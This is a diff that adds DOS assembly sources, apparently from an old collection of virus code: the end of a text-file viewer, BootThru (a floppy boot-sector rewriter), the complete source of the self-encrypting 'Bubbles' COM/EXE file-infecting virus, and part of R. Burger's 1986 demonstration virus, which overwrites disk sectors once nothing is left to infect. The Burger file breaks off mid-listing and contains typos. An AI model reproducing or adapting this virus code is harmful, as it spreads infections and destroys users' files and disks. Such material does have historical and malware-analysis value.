Zero out top byte + Add AX,AX ; Double for word access + Mov BX,AX ; Offset in dispatch table + Mov SI,[ScreenStart] ; Set current buffer pointer + Call [Dispatch + BX] ; Do the call + Mov [ScreenStart],SI ; Set new buffer pointer + Jmp KeyLoop ; And update the screen + +; Terminate -- Restore screen and close file +; ------------------------------------------ + +Terminate: Mov SI,Offset ScreenHold ; Address of Saved Screen + Les DI,[ScreenAddr] ; Address of Display + Mov CX,[ScreenSize] ; Number of characters + Rep Movsb ; Move them back + Mov BX,[FileHandle] ; Get File Handle + Mov AH,3Eh ; Close File + Int 21h + Int 20h ; Terminate + +; Cursor Key Routines -- Home Key +; ------------------------------- + +Home: Sub BX,BX ; For zeroing out values + Mov AX,[FileOffset] ; Check if read in file + Or AX,[FileOffset + 2] + Mov [FileOffset],BX ; Zero out file address + Mov [FileOffset + 2],BX + Mov [HorizOffset],BX ; Zero out horizontal offset + Mov SI,Offset Buffer ; Reset buffer pointer + Jz Dummy ; Skip file read if in already + Mov DX,Offset Buffer ; Area to read file in + Mov CX,32768 ; Number of bytes to read + Call FileRead ; Read in file +Dummy: Ret + +; Up and PgUp Keys +; ---------------- + +Up: Call GetPrevChar ; Get previous char in buffer + Jc UpDone ; If none available, finish +UpLoop: Call GetPrevChar ; Get previous char again + Jc UpDone ; if none, we're done + Cmp AL,10 ; Check if line feed + Jnz UpLoop ; If not, try again + Call GetNextChar ; Get char after line feed +UpDone: Ret + +PgUp: Mov CX,Word Ptr [NumberLines] ; Number of lines +PgUpLoop: Call Up ; Do UP that many times + Loop PgUpLoop + Ret + +; Left and Right Keys +; ------------------- + +Left: Mov [HorizOffset],0 ; Reset Horizontal Offset + Ret + +Right: Mov AL,[ShiftHoriz] ; Get places to shift + Sub AH,AH + Add [HorizOffset],AX ; Move that many right + Ret + +; End, Down, and PgDn Keys +; ------------------------ + +End: Mov BX,SI ; Save buffer pointer + Call PgDn ; Go page down + Cmp BX,SI ; Check if we did so + Jnz End ; If so, do it again + Ret + +Down: Call GetNextChar ; Get next character + Jc NoMoreDown ; If no more, we're done +DownLoop: Call GetNextChar ; Get one again + Jc UpLoop ; If no more, find prev LF + Cmp AL,10 ; See if line feed + Jnz DownLoop ; If not, continue +NoMoreDown: Ret + +PgDn: Mov CX,Word Ptr [NumberLines] ; Number of lines +PgDnLoop: Call Down ; Do DOWN that many times + Loop PgDnLoop + Ret + +; Update Screen +; ------------- + +UpdateScreen: Push ES + Mov SI,[ScreenStart] ; Address of data in buffer + Les DI,[ScreenAddr] ; Address of display + Mov CX,ScreenSize ; Number of bytes in screen + Shr CX,1 ; Half for number of chars + Mov AL,' ' ; Will blank screen + Mov AH,[Attribute] ; With screen attribute + Rep Stosw ; Blank it + Mov AL,[LineLength] ; Length of display line + Sub AH,AH + Add AX,[HorizOffset] ; Add Horizontal Offset + Mov [RightMargin],AX ; That's right display margin + Sub DL,DL ; Line Number +LineLoop: Sub BX,BX ; Column Number + Mov AL,[LineLength] ; Use Line Length + Mul DL ; and Line Number + Add AX,AX ; to recalculate + Mov DI,AX ; display destination + Add DI,[ScreenOff] ; Add beginning address +CharLoop: Call GetNextChar ; Get next character + Jc EndOfScreen ; If no more, we're done + And AL,[WSMode] ; Will be 7Fh for WordStar + Cmp AL,13 ; Check for carriage return + Je CharLoop ; Do nothing if so + Cmp AL,10 ; Check for line feed + Je LineFeed ; Do routine if so + Cmp AL,9 ; Check for tab + Je Tab ; Do routine if so + Mov CX,1 ; Just 1 char to display +PrintChar: Cmp BX,[HorizOffset] ; See if we can print it + Jb NoPrint + Cmp BX,[RightMargin] ; See if within margin + Jae NoPrint + Mov AH,[Attribute] ; Attribute for display + Cmp [CheckRetrace],0 ; See if must stop snow + Jz WriteIt ; If not, skip retrace wait + Push BX + Push DX + Mov BX,AX ; Save character and attribute + Mov DX,[Addr6845] ; Set up I/O address + Add DX,6 +RetraceWait1: In AL,DX ; Check until + Shr AL,1 ; vertical retrace + Jc RetraceWait1 ; ends + Cli ; Clear interrupts +RetraceWait2: In AL,DX ; Check until + Shr AL,1 ; vertical retrace + Jnc RetraceWait2 ; begins + Mov AX,BX ; Get back character & attr + Stosw ; Write to display + Sti ; Enable interrupts again + Pop DX + Pop BX + Jmp Short NoPrint ; Skip around "no snow" write +WriteIt: Stosw ; Write without retrace wait +NoPrint: Inc BX ; Bump up line counter + Loop PrintChar ; Do it CX times + Jmp CharLoop ; Then go back to top +Tab: Mov AX,BX ; Current column number + And AX,07h ; Take lower three bits + Mov CX,8 + Sub CX,AX ; Subtract from 8 + Mov AL,' ' ; Will print CX blanks + Jmp PrintChar +LineFeed: Inc DL ; Next line + Cmp DL,[NumberLines] ; See if down at bottom + Jb LineLoop ; If not, continue +EndOfScreen: Pop ES ; All done -- leave + Ret + +; Get Next Character from buffer +; ------------------------------ +; (Input is SI pointing to buffer, Returns AL, CY if no more) + +GetNextChar: Cmp SI,[EndOfFile] ; See if at end of file + Jae NoMoreNext ; If so, no more chars + Cmp SI,Offset BufferEnd ; See if at end of buffer + Jb CanGetNext ; If not, just get character + Push CX ; Otherwise save registers + Push DX + Push DI + Push ES + Push DS ; Set ES to DS + Pop ES ; (could be different) + Mov SI,Offset BufferMid ; Move 2nd buffer half + Mov DI,Offset Buffer ; to 1st buffer half + Mov CX,16384 + Sub [ScreenStart],CX ; New buffer pointer + Rep Movsb ; Move them + Mov SI,DI ; SI also buffer pointer + Add [FileOffset],32768 ; Adjust file addr to read + Adc [FileOffset + 2],0 + Mov DX,Offset BufferMid ; Place to read file + Mov CX,16384 ; Number of bytes + Call FileRead ; Read the file + Sub [FileOffset],16384 ; Now adjust so reflects + Sbb [FileOffset + 2],0 ; 1st half of buffer + Pop ES ; Get back registers + Pop DI + Pop DX + Pop CX + Jmp GetNextChar ; And try again to get char +CanGetNext: Lodsb ; Get the character +NoMoreNext: Cmc ; So CY set if no more + Ret + +; Get Previous Character from buffer +; ---------------------------------- + +GetPrevChar: Cmp SI,Offset Buffer ; See if at top of buffer + Ja CanGetPrev ; If not, just get character + Mov AX,[FileOffset] ; See if at top of file + Or AX,[FileOffset + 2] + Jz AtTopAlready ; If so, can't get anymore + Push CX ; Save some registers + Push DX + Mov SI,Offset Buffer ; Move 1st half of buffer + Mov DI,Offset BufferMid ; to 2nd half of buffer + Mov CX,16384 + Add [ScreenStart],CX ; New buffer pointer + Rep Movsb ; Do the move + Sub [FileOffset],16384 ; Adjust file addr for read + Sbb [FileOffset + 2],0 + Mov DX,Offset Buffer ; Area to read file into + Mov CX,16384 ; Number of bytes + Call FileRead ; Read the file + Pop DX ; Get back registers + Pop CX + Jmp Short CanGetPrev ; Now get character +AtTopAlready: Stc ; CY flag set for no more + Ret +CanGetPrev: Dec SI ; Move pointer back + Mov AL,[SI] ; Get the character + Clc ; CY flag reset for success + Ret + +; Read CX bytes from the file into DX buffer +; ------------------------------------------ + +FileRead: Push AX ; Save some registers + Push BX + Push CX + Push DX + Mov [EndOfFile],-1 ; Initialize this + Mov DX,[FileOffset] ; Get file address to read + Mov CX,[FileOffset + 2] + Mov BX,[FileHandle] ; Get file Handle + Sub AL,AL ; Do LSEEK from beginning + Mov AH,42h ; LSEEK call + Int 21h + Pop DX ; Get back destination + Pop CX ; Get back count + Mov AH,3Fh ; Read file function call + Int 21h + Jnc NoReadError ; If no error, continue + Sub AX,AX ; Otherwise read zero bytes +NoReadError: Cmp AX,CX ; See if 32K has been read + Je GotItAll ; If so, we're home free + Add AX,DX ; Otherwise add to buffer addr + Mov [EndOfFile],AX ; And save as end of file +GotItAll: Pop BX + Pop AX + Ret + +; File Buffer and Screen Hold Areas +; --------------------------------- + +Buffer Label Byte ; Area for file reads +BufferMid equ Buffer + 16384 ; Halfway through it +BufferEnd equ BufferMid + 16384 ; At end of it +ScreenHold equ BufferEnd ; Area for holding screen +CSEG EndS ; End of segment + End Entry ; Denotes entry point + \ No newline at end of file diff --git a/b/BT.ASM b/b/BT.ASM new file mode 100755 index 0000000..1145870 --- /dev/null +++ b/b/BT.ASM @@ -0,0 +1,374 @@ + page ,132 + title BootThru - v1.05 + +;------------------------------------------------------------------------ +; +; BootThru - Copyright (c) Bill Gibson - 1987 +; Lathrup Village, Mi 48076 +; +; Ver. 1.00 - Initial version (not rlsd) - 01/11/87 +; 1.01 - revised code structure " - 01/25/87 +; 1.02 - revised Modify Proc " - 02/01/87 +; 1.03 - enhanced error message output " - 02/06/87 +; 1.04 - revised Print Proc released - 02/07/87 +; 1.05 - fix incompatibility plbm - 02/09/87 +; +; +; For Public Domain Use. Not for Sale or Hire. +;------------------------------------------------------------------------ +COMMENT * + + Routine to modify diskette boot record, using drive A: or B:, + thus circumventing DOS' non-system disk display error. + + Usage: + BT A: -> transfer new boot record to drive A: + BT B: -> transfer new boot record to drive B: + BT -> starts program, default is drive A: +* +;------------------------------------------------------------------------ +code SEGMENT BYTE PUBLIC 'code' +ASSUME CS:code,DS:code,SS:code + ORG 5Ch ;drive id +param1 LABEL BYTE + ORG 5Dh ;elim spurrious characters +param2 LABEL BYTE + + ORG 100h + +BootThru PROC FAR + MOV CS:stk_ptr,SP ;save stack ptr to ensure ret + CALL Chk_Ver ;dos 2.0 or greater + + CALL Scan + CALL Dwrite + JMP SHORT exit +error: + MOV SP,stk_ptr ;insure proper return + CALL Print ;print error messages + MOV AL,1 ;set errorlevel to 1 +exit: + MOV AH,4Ch + INT 21h + +;------------------------------------------------------------------------ +; Work Area - constants,equates,messages +;------------------------------------------------------------------------ +drive DB 0 +stk_ptr DW 0 + +blank EQU 020h ;ascii space code +cr EQU 0Dh ;carriage return +lf EQU 0Ah ;line feed +esc EQU 01Bh ;escape char +stopper EQU 255 ;end of display line indicator + +logo DB cr,lf,'BootThru - The Diskette Modifier' + DB cr,lf,'Version 1.05 - Bill Gibson 1987',cr,lf,stopper + +usage DB cr,lf,'Usage: BT [drive A: or B:]',cr,lf,stopper +sorry DB cr,lf,'Wrong PC DOS Version',cr,lf,stopper +msg1 DB cr,lf,'Insert diskette in drive A, and press ENTER' + DB ' when ready ...',stopper +msg2 DB cr,lf,'Insert diskette in drive B, and press ENTER' + DB ' when ready ...',stopper +msg3 DB cr,lf,'Press ENTER to modify another disk',cr,lf + DB 'or ESCape to quit...',stopper +msg4 DB cr,lf,cr,lf,'Transferring New Boot Sector',cr,lf,stopper +msg5 DB cr,lf,'Transfer Completed',cr,lf,stopper + +msg80h DB cr,lf,cr,lf,'* Error * Drive failed to respond.',cr,lf,cr,lf,stopper +msg40h DB cr,lf,cr,lf,'* Error * Seek operation failed.',cr,lf,cr,lf,stopper +msg20h DB cr,lf,cr,lf,'* Error * Controller failure.',cr,lf,cr,lf,stopper +msg10h DB cr,lf,cr,lf,'* Error * Bad CRC on diskette write.',cr,lf,cr,lf,stopper +msg08h DB cr,lf,cr,lf,'* Error * DMA overrun on operation.',cr,lf,cr,lf,stopper +msg04h DB cr,lf,cr,lf,'* Error * Requested sector not found.',cr,lf,cr,lf,stopper +msg03h DB cr,lf,cr,lf,'* Error * Write protected diskette.',cr,lf,cr,lf,stopper +msg02h DB cr,lf,cr,lf,'* Error * Address mark not found.',cr,lf,cr,lf,stopper +msggen DB cr,lf,cr,lf,'* Unknown Error *',cr,lf,cr,lf,stopper + +;-------------------------------------------------------------------------- +; Sub-Routines: +;-------------------------------------------------------------------------- +Chk_Ver PROC NEAR + MOV AH,30h ;verify DOS 2.0 or later + INT 21h + CMP AL,2 + JAE SHORT chk_ok + MOV DX,OFFSET sorry + JMP error +chk_ok: + RET +Chk_Ver ENDP + +;-------------- + +Scan PROC NEAR ;check for any spurrious chars + MOV AL,[param2] + CMP AL,blank ;anything ? + JNZ shlp ;yes, give error msg +s1: + MOV AL,[param1] ;check for drive parameters + OR AL,AL ;anything ? + JNZ s2 ;jump and test + MOV DX,OFFSET logo ;setup default drive A: + CALL Print + MOV drive,0 + MOV DX,OFFSET msg1 + RET +s2: + CMP AL,01 ;setup for drive A: + JZ SHORT sdrvA + CMP AL,02 ;for drive B: + JZ SHORT sdrvB +shlp: + MOV DX,OFFSET usage ;display for invalid drives + JMP error +sdrvA: + MOV DX,OFFSET logo + CALL Print + MOV drive,0 + MOV DX,OFFSET msg1 + RET +sdrvB: + MOV DX,OFFSET logo + CALL Print + MOV drive,1 + MOV DX,OFFSET msg2 + RET + +Scan ENDP + +;-------------- + +Dwrite PROC NEAR ;transfer new disk boot sector + + CALL Print ;get ready +d1: + MOV AH,8 ;use function 8 in order to detect + INT 21h ;ctrl-breaks + CMP AL,esc ;ESC & Ctrl-Break aborts process + JZ d5 + CMP AL,cr + JNZ d1 +d2: + MOV DX,OFFSET msg4 ;setup for disk write + CALL Print + MOV AL,drive + LEA BX,head + MOV CX,0001 + MOV DX,0000 +drite: ;more setups + PUSH AX + PUSH BX + PUSH CX + PUSH DX + INT 26h + JC derror ;processing error ? + POPF ;done + POP DX + POP CX + POP BX + POP AX +d3: + MOV DX,OFFSET msg5 ;transfer complete + CALL Print + JMP d4 +derror: ;display disk errror + CALL ErrorList +dend_of: + CALL Print + POPF ;done + POP DX + POP CX + POP BX + POP AX +d4: + MOV DX,OFFSET msg3 ;another ? + CALL Print + JMP d1 ;loop +d5: + RET +Dwrite ENDP + +;-------------- + +Print PROC NEAR ;a Great idea from Vern Buerg ! + PUSH SI + PUSH BX + PUSH CX + MOV SI,DX ;DX has the offset to string + SUB CX,CX ;set to zero for count +p1: + LODSB + CMP AL,stopper ;string ends in FFh + JE p9 + INC CX ;increment text length + JMP p1 +p9: + MOV AH,40h ;write using file handles + MOV BX,1 + INT 21h + POP CX + POP BX ;recover registers + POP SI + RET +Print ENDP + +;-------------- + +ErrorList PROC NEAR ;error code interpretation + ;the upper byte (AH) contains error +err80h: CMP AH,080h ;attachment failed to respond + JNZ err40h + MOV DX,OFFSET msg80h + RET +err40h: + CMP AH,040h ;seek operation failed + JNZ err20h + MOV DX,OFFSET msg40h + RET +err20h: + CMP AH,020h ;controller failed + JNZ err10h + MOV DX,OFFSET msg20h + RET +err10h: + CMP AH,010h ;data error (bad CRC) + JNZ err08h + MOV DX,OFFSET msg10h + RET +err08h: + CMP AH,08h ;direct memory access failure + JNZ err04h + MOV DX,OFFSET msg08h + RET +err04h: + CMP AH,04h ;requested sector not found + JNZ err03h + MOV DX,OFFSET msg04h + RET +err03h: + CMP AH,03h ;write-protect fault + JNZ err02h + MOV DX,OFFSET msg03h + RET +err02h: + CMP AH,02h ;bad address mark + JNZ errgen + MOV DX,OFFSET msg02h + RET +errgen: + MOV DX,OFFSET msggen ;something new ? (Unknown) + RET +ErrorList ENDP + +;-------------- + +Modify PROC FAR +head: +cr EQU 0Dh ;carriage return +lf EQU 0Ah ;line feed +stopper EQU 255 ;end of display line indicator +boot_area EQU 0000h ;setup boot area +bogus_drv EQU 0080h ;setup bogus drive +loc2 EQU 01FEh ;last two bytes of boot sector +eof_bootsec EQU 0AA55h ;end of boot sector (reversed) +bulc EQU 0DAh ;box upper left corner +burc EQU 0BFh ;box upper right corner +bllc EQU 0C0h ;box lower left corner +blrc EQU 0D9h ;box lower right corner +bver EQU 0B3h ;vertical +bhor EQU 0C4h ;horizontal + + JMP start ;1st byte of the sector must be a jmp + DB 'BootThru' ;8-byte system id + DW 512 ;sector size in bytes + DB 2 ;sectors per cluster + DW 1 ;reserved clusters + DB 2 ;number of fats + DW 112 ;root directory entries + DW 720 ;total sectors + DB 0FDh ;format id (2 sided, 9 sector) + DW 2 ;sectors per fat + DW 9 ;sectors per track + DW 2 ;sides + DW 0 ;special hidden sectors + DB 0 ;filler + DB 0 ;head + DB 0Ah ;length of BIOS file + DB 0DFh ;disk parameter table + DB 02 ; " + DB 25h ; " + DB 02 ; " + DB 09 ; " + DB 02Ah ;Int 1Eh points to this table, + DB 0FFh ;the disk parameter table. + DB 050h ;contents of this vector (1Eh) + DB 0F6h ;are used as a pointer only, + DB 0Fh ;Int 1Eh is not executed + DB 02 ;directly +intro_beg: + DB cr,lf, + DB cr,lf,bulc,46 DUP(bhor),burc + DB cr,lf,bver,' This disk was modified by BootThru ',bver + DB cr,lf,bver,' Version 1.05 by Bill Gibson 1987 ',bver + DB cr,lf,bllc,46 DUP(bhor),blrc + DB cr,lf,stopper + +intro_offset EQU intro_beg - head + +start: + MOV AX,07C0h ;boot record location + MOV ES,AX + MOV DS,AX + MOV SI,intro_offset +strt1: + MOV AH,0Eh ;write teletype + MOV AL,[SI] + CMP AL,stopper + JE SHORT strt2 + PUSH SI + INT 10h + POP SI + INC SI + JMP SHORT strt1 +strt2: + CLD ;setup to bypass drive A: + MOV SI,OFFSET strt3 - OFFSET head + MOV DI,0200h ;boot sector size + MOV CX,0200h + REPZ MOVSB + JMP head + 200h +strt3: + MOV AH,2 ;function 02h - read floppy disk + MOV BX,boot_area ;boot area + MOV CH,0 ;track number + MOV CL,1 ;sector + MOV DH,0 ;head + MOV DL,bogus_drv ;bogus drive + MOV AL,1 ;number of sectors + INT 13h +strt4: + MOV BX,loc2 ;setup to pull ROM Basic in + MOV AX,[BX] ;if an error occurs + CMP AX,eof_bootsec + JNZ strt9 + JMP strt3 - 200h +strt9: + INT 18h + + DB 'BootThru, Copyright (c) Bill Gibson, 02.09.87' +tail: + +filler_amount EQU 512 - (tail - head) - 2 + + DB filler_amount dup (0) ; filler +boot_id DB 055h,0AAh ; boot id + +Modify ENDP + +BootThru ENDP +code ENDS + END BootThru + \ No newline at end of file diff --git a/b/BUBBLES1.ASM b/b/BUBBLES1.ASM new file mode 100755 index 0000000..a7ff23b --- /dev/null +++ b/b/BUBBLES1.ASM @@ -0,0 +1,375 @@ +;--------- +; Bubbles Virus written by Admiral Bailey +; Using The Instant Virus Production Kit By Admiral Bailey +; To compile this use TASM /M BUBBLES.ASM +;--------- + + +code segment public 'code' + assume cs:code + org 100h ; All .COM files start here + +ID = 'AB' ; Id for infected files + +start: + db 0e9h,0,0 ; Jump to the next command + +virus: + call realcode ; Push current location on stack +realcode: + nop + nop + nop + nop + nop + pop bp ; Get location off stack + sub bp,offset realcode ; Adjust it for our pointer + nop + nop + nop + nop + call encrypt_decrypt ; Decrypt the virus first + +encrypt_start equ $ ; From here is encrypted + + cmp sp,id ; COM or EXE? + je restoreEXE + + lea si,[bp+offset oldjump] ; Location of old jump in si + mov di,100h ; Location of where to put it in di + push di ; Save so we could just return when done + movsb ; Move a byte + movsw ; Move a word + jmp exitrestore + +restoreEXE: + push ds ; Save ExE ds + push es ; Save ExE es + push cs + pop ds ; DS now equals CS + push cs + pop es ; ES now equals CS + lea si,[bp+jmpsave2] + lea di,[bp+jmpsave] + movsw ; Move a word + movsw ; Move a word + movsw ; Move a word + movsw ; Move a word + +ExitRestore: + lea dx,[bp+offset dta] ; Where to put New DTA + call set_DTA ; Move it + + mov ax,3524h ; Get int 24 handler + int 21h ; To ES:BX + mov word ptr [bp+oldint24],bx ; Save it + mov word ptr [bp+oldint24+2],es + + mov ah,25h ; Set new int 24 handler + lea dx,[bp+offset int24] ; DS:DX->new handler + int 21h + + push cs ; Restore ES + pop es ; 'cuz it was changed + + mov ah,47h ; Get the current directory + mov dl,0h ; On current drive + lea si,[bp+offset currentdir] ; Where to keep it + int 21h + +dirloop: + lea dx,[bp+offset exefilespec] + call findfirst + lea dx,[bp+offset comfilespec] + call findfirst + + lea dx,[bp+offset directory] ; Where to change too '..' + mov ah,3bh ; Change directory + int 21h + jnc dirloop ; If no problems the look for files + + mov ah,9 ; Display string + lea dx,[bp+virusname] + int 21h + + mov ax,2524h ; Restore int 24 handler + lds dx,[bp+offset oldint24] ; To original + int 21h + + push cs + pop ds ; Do this because the DS gets changed + + lea dx,[bp+offset currentdir] ; Location Of original dir + mov ah,3bh ; Change to there + int 21h + + mov dx,80h ; Location of original DTA + call set_dta ; Put it back there + + cmp sp,id-4 ; EXE or COM? + jz returnEXE + + retn ; Return to 100h to original jump + +ReturnEXE: + pop es ; Get original ES + pop ds ; Get original DS + + mov ax,es + add ax,10h + add word ptr cs:[bp+jmpsave+2],ax + add ax,word ptr cs:[bp+stacksave+2] + cli ; Clear int's because of stack manipulation + mov sp,word ptr cs:[bp+stacksave] + mov ss,ax + sti + db 0eah ; Jump ssss:oooo +jmpsave dd ? ; Jump location +stacksave dd ? ; Original cs:ip +jmpsave2 dd 0fff00000h ; Used with carrier file +stacksave2 dd ? + +findfirst: + mov ah,4eh ; Find first file + mov cx,7 ; Find all attributes + +findnext: + int 21h ; Find first/next file int + jc quit ; If none found then change dir + + call infection ; Infect that file + +Findnext2: + mov ah,4fh ; Find next file + jmp findnext ; Jump to the loop + +quit: + ret + +infection: + mov ax,3d00h ; Open file for read only + call open + + mov ah,3fh ; Read from file + mov cx,1ah + lea dx,[bp+offset buffer] ; Location to store them + int 21h + + mov ah,3eh ; Close file + int 21h + + cmp word ptr [bp+buffer],'ZM' ; EXE? + jz checkEXE ; Why yes, yes it is! + mov ax,word ptr [bp+DTA+35] ; Get end of file name in ax + cmp ax,'DN' ; Does End in comma'ND'? (reverse order) + jz quitinfect ; Yup so get another file + +CheckCom: + mov bx,[bp+offset dta+1ah] ; Get file size + mov cx,word ptr [bp+buffer+1] ; Get jump loc of file + add cx,eof-virus+3 ; Add for virus size + + cmp bx,cx ; Does file size=file jump+virus size + jz quitinfect ; Yup then get another file + jmp infectcom + +CheckExe: + cmp word ptr [bp+buffer+10h],id ; Check EXE for infection + jz quitinfect ; Already infected so close up + jmp infectexe + +quitinfect: + ret + +InfectCom: + sub bx,3 ; Adjust for new jump + lea si,[bp+buffer] + lea di,[bp+oldjump] + movsw + movsb + mov [bp+buffer],byte ptr 0e9h + mov word ptr [bp+buffer+1],bx ; Save for later + + mov cx,3 ; Number of bytes to write + + jmp finishinfection +InfectExe: + les ax,dword ptr [bp+buffer+14h] ; Load es with seg address + mov word ptr [bp+jmpsave2],ax ; save old cs:ip + mov word ptr [bp+jmpsave2+2],es + + les ax,dword ptr [bp+buffer+0eh] ; save old ss:sp + mov word ptr [bp+stacksave2],es ; save old cs:ip + mov word ptr [bp+stacksave2+2],ax + + mov ax, word ptr [bp+buffer+8] ; get header size + mov cl,4 + shl ax,cl + xchg ax,bx + les ax,[bp+offset DTA+26] ; get files size from dta + mov dx,es ; its now in dx:ax + push ax ; save these + push dx + + sub ax,bx ; subtract header size from fsize + sbb dx,0 ; subtract the carry too + mov cx,10h ; convert to segment:offset form + div cx + + mov word ptr [bp+buffer+14h],dx ; put in new header + mov word ptr [bp+buffer+16h],ax ; cs:ip + + mov word ptr [bp+buffer+0eh],ax ; ss:sp + mov word ptr [bp+buffer+10h],id ; put id in for later + pop dx ; get the file length back + pop ax + + add ax,eof-virus ; add virus size + adc dx,0 ; add with carry + + mov cl,9 ; calculates new file size + push ax + shr ax,cl + ror dx,cl + stc + adc dx,ax + pop ax + and ah,1 + + mov word ptr [bp+buffer+4],dx ; save new file size in header + mov word ptr [bp+buffer+2],ax + + push cs ; es = cs + pop es + + mov cx,1ah ; Number of bytes to write (Header) +FinishInfection: + push cx ; save # of bytes to write + xor cx,cx ; Set attriutes to none + call attributes + + mov al,2 ; open file read/write + call open + + mov ah,40h ; Write to file + lea dx,[bp+buffer] ; Location of bytes + pop cx ; Get number of bytes to write + int 21h + jc closefile + + mov al,02 ; Move Fpointer to eof + Call move_fp + +get_time: + mov ah,2ch ; Get time for our encryption value + int 21h + cmp dh,0 ; If its seconds are zere get another + je get_time + mov [bp+enc_value],dh ; Use seconds value for encryption + call encrypt_infect ; Encrypt and infect the file +closefile: + mov ax,5701h ; Set files date/time back + mov cx,word ptr [bp+dta+16h] ; Get old time from dta + mov dx,word ptr [bp+dta+18h] ; Get old date + int 21h + + mov ah,3eh ; Close file + int 21h + + xor cx,cx + mov cl,byte ptr [bp+dta+15h] ; Get old Attributes + call attributes + + retn + +move_fp: + mov ah,42h ; Move file pointer + xor cx,cx ; Al has location + xor dx,dx ; Clear these + int 21h + retn + +set_dta: + mov ah,1ah ; Move the DTA location + int 21h + retn + +open: + mov ah,3dh ; open file + lea dx,[bp+DTA+30] ; filename in DTA + int 21h + xchg ax,bx ; file handle in bx + ret + +attributes: + mov ax,4301h ; Set attributes to cx + lea dx,[bp+DTA+30] ; filename in DTA + int 21h + ret +int24: ; New int 24h (error) handler + mov al,3 ; Fail call + iret ; Return from int 24 call + +Virusname db 'Bubbles Virus',10,13 ; Name Of The Virus +Author db 'Admiral Bailey',10,13 ; Author Of This Virus +Made_with db '[IVP]',10,13,'$' ; Please do not remove this + +comfilespec db '*.com',0 ; Holds type of file to look for +exefilespec db '*.exe',0 ; Holds type of file to look for +directory db '..',0 ; Directory to change to +oldjump db 0cdh,020h,0h ; Old jump. Is int 20h for file quit + +encrypt_infect: + lea si,[bp+offset move_begin] ; Location of where to move from + lea di,[bp+offset workarea] ; Where to move it too + mov cx,move_end-move_begin ; Number of bytes to move +move_loop: + movsb ; Moves this routine into heap + loop move_loop + lea dx,[bp+offset workarea] + call dx ; Jump to that routine just moved + ret + +move_begin equ $ ; Marks beginning of move + push bx ; Save the file handle + lea dx,[bp+offset encrypt_end] + call dx ; Call the encrypt_decrypt procedure + pop bx ; Get handle back in bx and return + mov ah,40h ; Write to file + mov cx,eof-virus ; Number of bytes + lea dx,[bp+offset virus] ; Where to write from + int 21h + push bx ; Save the file handle + lea dx,[bp+offset encrypt_end] + call dx ; Decrypt the file and return + pop bx ; Get handle back in bx and return + ret +move_end equ $ ; Marks the end of move + +encrypt_end equ $ ; Marks the end of encryption + +encrypt_decrypt: + lea bx,[bp+encrypt_start] ; Where to start encryption + mov cx,encrypt_end-encrypt_start ; Number of bytes to encrypt + mov dh,[bp+enc_value] ; Value to use for encryption +encrypt_loop: + mov ah,cs:[bx] ; Get a byte in ah + xor ah,dh ; Xor it + mov cs:[bx],ah ; Put it back + inc bx ; Move to next byte and loop + loop encrypt_loop + ret + +enc_value db 00h ; Hold the encryption value 00 for nul effect + +eof equ $ ; Marks the end of file + +workarea db move_end-move_begin dup (?) ; Holds the encrypt_infect routine +currentdir db 64 dup (?) ; Holds the current dir +dta db 42 dup (?) ; Location of new DTA +buffer db 1ah dup (?) ; Holds exe header +oldint24 dd ? ; Storage for old int 24h handler + +code ends + end start + diff --git a/b/BURGER.ASM b/b/BURGER.ASM new file mode 100755 index 0000000..c7e768c --- /dev/null +++ b/b/BURGER.ASM @@ -0,0 +1,386 @@ + +*************************************************** +; Program Virus +; Version 1.1 +; Writter : R. Burger +; Created 1986 +; This is a demonstration program for computer +; viruses. It has the ability to replace itself. +; and thereby modify other programs. Enjoy. +;************************************************** + +Code Segment + Assume CS:Code +progr equ 100h + ORG progr + +;************************************************** +; The three NOP's serve as the marker byte of the +; virus which allow it to identify a virus. +;************************************************** + +MAIN: + nop + nop + nop + +;************************************************** +; Initialize the pointers +;************************************************** + + mov ax,00 + mov es:[pointer],ax + mov es:[counter],ax + mov es:[disks],al + +;************************************************** +; Get the selected drive +;************************************************** + + mov ah,19h ;drive? + int 21h + +;************************************************** +; Get the current path on the current drive +;************************************************** + + mov cs:drive,al ;save drive + mov ah,47h ;dir? + mov dh,0 + add al,1 + mov dl,al ;in actual drive + lea si,cs:old_path ; + int 21h + +;************************************************** +; Get the number of drives present. If only one +; is present, the pointer for the search order +; will be set to serach order + 6 +;************************************************** + + mov as,0eh ;how many disks + mov dl,0 ; + int 21h + + mov al,01 + cmp al,01 ;one drive + jnz hups3 + mov al,06 + +hups3: mov ah,0 + lea bx,search_order + add bx,ax + add bx,0001h + mov cs:pointer,bx + clc + +;************************************************** +; Carry is set, if no more .COM's are found. +; Then, to avoid unnecessary work, .EXE files will +; be renamed to .COM files and infected. +; This causes the error message "Program to large +; to fit memory" when starting larger infected +; EXE programs. +;************************************************* + +change_disk: + jnc no_name_change + mov ah,17h ;change .EXE to .COM + lea dx,cs:maske_exe + int 21h + cmp al,0ffh + jnz no_name_change ;.EXE found? + +;**************************************************** +; If neither .COM nor .EXE is found then sectors +; will be overwritten depending on the system time +; in milliseconds. This is the time of the complete +; "infection" of a storage medium. The virus can +; find nothing more to infect and starts its destruction +;***************************************************** + + mov ah,2ch ; read system clock + int 21h + mov bx,cs:pointer + mov al,cs:[bx] + mov bx,dx + mov cx,2 + mov dh,0 + int 26h ; write crap on disk + +;****************************************************** +; Check if the end of the search order table has been +; reached . If so, end. +;****************************************************** + +no_name_change: + mov bx,cs:pointer + dec bx + mov cs:pointer,bx + mov dl,cs:[bx] + cmp dl,0ffh + jnz hups2 + jmp hops + +;**************************************************** +; Get new drive from the search order table and +; select it . +;*************************************************** + +hups2: + mov ah,0eh + int 21h ;change disk + +;*************************************************** +; Start in the root directory +;*************************************************** + + mov ah,3bh ;change path + lea dx,path + int 21h + jmp find_first_file + +;************************************************** +; Starting from the root, search for the first +; subdir. FIrst convert all .EXE files to .COM +; in the old directory +;************************************************** + +find_first_subdir: + mov ah,17h ;change .exe to .com + lea dx,cs:maske_exe + int 21h + mov ah,3bh ;use root directory + lea dx,path + int 21h + mov ah,04eh ;search for first subdirectory + mov cx,00010001b ;dir mask + lea dx,maske_dir ; + int 21h ; + jc change_disk + mov bx,CS:counter + INC,BX + DEC bx + jz use_next_subdir + +;************************************************* +; Search for the next subdirectory. If no more +; directories are found, the drive will be changed. +;************************************************* + +find_next_subdir: + mov ah,4fh ; search for next subdir + int 21h + jc change_disk + dec bx + jnz find_next_subdir + +;************************************************* +; Select found directory. +************************************************** + +use_next_subdir: + mov ah,2fh ;get dta address + int 21h + add bx,1ch + mov es:[bx],'\` ;address of name in dta + inc bx + push ds + mov ax,es + mov ds,ax + mov dx,bx + mov ah,3bh ;change path + int 21h + pop ds + mov bx,cs:counter + inc bx + mov CS:counter,bx + +;************************************************** +; Find first .COM file in the current directory. +; If 